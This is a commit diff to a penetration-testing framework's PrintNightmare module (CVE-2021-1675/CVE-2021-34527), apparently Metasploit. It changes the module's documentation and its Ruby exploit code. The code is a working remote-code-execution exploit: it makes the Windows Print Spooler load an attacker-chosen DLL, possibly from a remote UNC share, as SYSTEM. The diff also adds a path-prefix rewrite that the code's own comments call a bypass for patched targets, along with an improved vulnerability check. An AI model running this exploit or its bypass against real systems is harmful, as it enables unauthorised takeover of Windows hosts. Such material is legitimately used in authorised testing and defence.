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Improved check method for PrintNightmare

This commit is contained in:
Spencer McIntyre 2021-07-08 08:52:52 -04:00
parent 6dd298ebb7
commit e155bb64cd
2 changed files with 74 additions and 47 deletions
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3
documentation/modules/auxiliary/admin/dcerpc/cve_2021_1675_printnightmare.md
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@ -66,6 +66,9 @@ due to how these payloads are synchronized. If the session closes, dies, or the
DLL can be used again otherwise a new DLL will need to be created for each simultaneously active session. One DLL can
however be used to establish multiple sessions simultaneously so long as each session is on a different target.
If this value is a UNC path, it will automatically be converted to use the `\??\UNC\` prefix instead of `\\` to bypass
the path check in certain scenarios.
### ReconnectDelay
*This is an advanced option.*

118
modules/auxiliary/admin/dcerpc/cve_2021_1675_printnightmare.rb
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@ -240,7 +240,8 @@ class MetasploitModule < Msf::Auxiliary
'Name' => 'Print Spooler Remote DLL Injection',
'Description' => %q{
The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted
DCERPC request, resulting in remote code execution as NT AUTHORITY\SYSTEM.
DCERPC request, resulting in remote code execution as NT AUTHORITY\SYSTEM. This modules uses the MS-RPRN
vector which requires the Print Spooler service to be running.
},
'Author' => [
'Zhiniang Peng', # vulnerability discovery / research
@ -258,7 +259,8 @@ class MetasploitModule < Msf::Auxiliary
['CVE', '2021-34527'],
['URL', 'https://github.com/cube0x0/CVE-2021-1675'],
['URL', 'https://github.com/afwu/PrintNightmare'],
['URL', 'https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1']
['URL', 'https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1'],
['URL', 'https://github.com/byt3bl33d3r/ItWasAllADream']
],
'Notes' => {
'AKA' => [ 'PrintNightmare' ],
@ -282,6 +284,7 @@ class MetasploitModule < Msf::Auxiliary
OptInt.new('ReconnectDelay', [ true, 'A delay in seconds to wait before reconnecting to the named pipe', 10 ])
]
)
deregister_options('AutoCheck')
end
def check
@ -308,35 +311,71 @@ class MetasploitModule < Msf::Auxiliary
end
vprint_status("Bound to #{handle} ...")
arch = dcerpc_getarch
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/e81cbc09-ab05-4a32-ae4a-8ec57b436c43
if arch == ARCH_X64
@environment = 'Windows x64'
elsif arch == ARCH_X86
@environment = 'Windows NT x86'
else
return Exploit::CheckCode::Detected('Successfully bound to the remote service.')
end
print_status("Target environment: Windows v#{simple.client.os_version} (#{arch})")
print_status('Enumerating the installed printer drivers...')
drivers = enum_printer_drivers(@environment)
@driver_path = "#{drivers.driver_path.rpartition('\\').first}\\UNIDRV.DLL"
vprint_status("Using driver path: #{@driver_path}")
print_status('Retrieving the path of the printer driver directory...')
@config_directory = get_printer_driver_directory(@environment)
vprint_status("Using driver directory: #{@config_directory}") unless @config_directory.nil?
container = driver_container(
p_config_file: 'C:\\Windows\\System32\\kernel32.dll',
p_data_file: "\\??\\UNC\\127.0.0.1\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.dll"
)
case add_printer_driver_ex(container)
when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND
return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')
when ::WindowsError::Win32::ERROR_BAD_NET_NAME
return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')
when ::WindowsError::Win32::ERROR_ACCESS_DENIED
return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.')
end
Exploit::CheckCode::Detected('Successfully bound to the remote service.')
end
def run
arch = dcerpc_getarch
fail_with(Failure::UnexpectedReply, 'Failed to identify the target architecture.') if arch.nil?
fail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil?
fail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil?
print_status("Target environment: Windows v#{simple.client.os_version} (#{arch})")
dll_path = datastore['DLL_PATH'].strip
if dll_path =~ /^\\\\([\w:.\[\]]+)\\(.*)$/
# targets patched for CVE-2021-34527 (but with Point and Print enabled) need to use this path style as a bypass
# otherwise the operation will fail with ERROR_INVALID_PARAMETER
dll_path = "\\??\\UNC\\#{Regexp.last_match(1)}\\#{Regexp.last_match(2)}"
end
vprint_status("Using DLL path: #{dll_path}")
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/e81cbc09-ab05-4a32-ae4a-8ec57b436c43
if arch == ARCH_X64
environment = 'Windows x64'
elsif arch == ARCH_X86
environment = 'Windows NT x86'
else
fail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.')
filename = dll_path.rpartition('\\').last
container = driver_container(p_config_file: 'C:\\Windows\\System32\\kernel32.dll', p_data_file: dll_path)
3.times do
add_printer_driver_ex(container)
end
print_status('Enumerating the installed printer drivers...')
drivers = enum_printer_drivers(environment)
driver_path = "#{drivers.driver_path.rpartition('\\').first}\\UNIDRV.DLL"
vprint_status("Using driver path: #{driver_path}")
1.upto(3) do |directory|
container.driver_info.p_config_file.assign("#{@config_directory}\\3\\old\\#{directory}\\#{filename}")
add_printer_driver_ex(container)
end
end
print_status('Retrieving the path of the printer driver directory...')
config_directory = get_printer_driver_directory(environment)
vprint_status("Using driver directory: #{config_directory}")
filename = datastore['DLL_PATH'].rpartition('\\').last
container = PrintSystem::DriverContainer.new(
def driver_container(**kwargs)
PrintSystem::DriverContainer.new(
level: 2,
tag: 2,
driver_info: PrintSystem::DriverInfo2.new(
@ -348,23 +387,11 @@ class MetasploitModule < Msf::Auxiliary
p_config_file_ref_id: 0x00020010,
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913
p_name: "#{Rex::Text.rand_text_alpha_upper(2..4)} #{Rex::Text.rand_text_numeric(2..3)}",
p_environment: environment,
p_driver_path: driver_path,
p_data_file: datastore['DLL_PATH']
p_environment: @environment,
p_driver_path: @driver_path,
**kwargs
)
)
flags = PrintSystem::APD_INSTALL_WARNED_DRIVER | PrintSystem::APD_COPY_FROM_DIRECTORY | PrintSystem::APD_COPY_ALL_FILES
3.times do
container.driver_info.p_config_file.assign('C:\\Windows\\System32\\kernel32.dll')
add_printer_driver_ex("\\\\#{datastore['RHOST']}", container, flags)
end
1.upto(3) do |directory|
container.driver_info.p_config_file.assign("#{config_directory}\\3\\old\\#{directory}\\#{filename}")
add_printer_driver_ex("\\\\#{datastore['RHOST']}", container, flags)
end
end
def dcerpc_bind_spoolss
@ -388,11 +415,12 @@ class MetasploitModule < Msf::Auxiliary
RubySMB::Field::Stringz16.read(response.p_driver_directory.referent.value.map(&:chr).join).encode('ASCII-8BIT')
end
def add_printer_driver_ex(name, container, flags)
def add_printer_driver_ex(container)
reconnect = true
flags = PrintSystem::APD_INSTALL_WARNED_DRIVER | PrintSystem::APD_COPY_FROM_DIRECTORY | PrintSystem::APD_COPY_ALL_FILES
begin
response = rprn_call('RpcAddPrinterDriverEx', p_name: name, p_driver_container: container, dw_file_copy_flags: flags)
response = rprn_call('RpcAddPrinterDriverEx', p_name: "\\\\#{datastore['RHOST']}", p_driver_container: container, dw_file_copy_flags: flags)
rescue RubySMB::Error::UnexpectedStatusCode => e
nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first
message = "Error #{nt_status.name} (#{nt_status.description})"
@ -414,18 +442,14 @@ class MetasploitModule < Msf::Auxiliary
print_error(message)
end
return
return nt_status
end
error = ::WindowsError::Win32.find_by_retval(response.error_status.value).first
message = "RpcAddPrinterDriverEx response #{response.error_status}"
errors = ::WindowsError::Win32.find_by_retval(response.error_status.value)
unless errors.empty?
error = errors.first
message << " #{error.name} (#{error.description})"
end
message << " #{error.name} (#{error.description})" unless error.nil?
vprint_status(message)
response
error
end
def rprn_call(name, **kwargs)